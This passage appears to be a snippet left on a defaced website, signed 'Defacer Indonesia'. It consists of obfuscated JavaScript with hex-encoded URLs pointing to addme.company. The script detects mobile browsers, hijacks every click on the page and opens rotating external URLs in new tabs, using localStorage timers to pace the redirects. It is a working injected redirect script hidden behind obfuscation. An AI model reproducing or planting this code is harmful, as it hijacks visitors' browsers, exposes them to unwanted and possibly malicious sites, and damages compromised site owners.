_0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia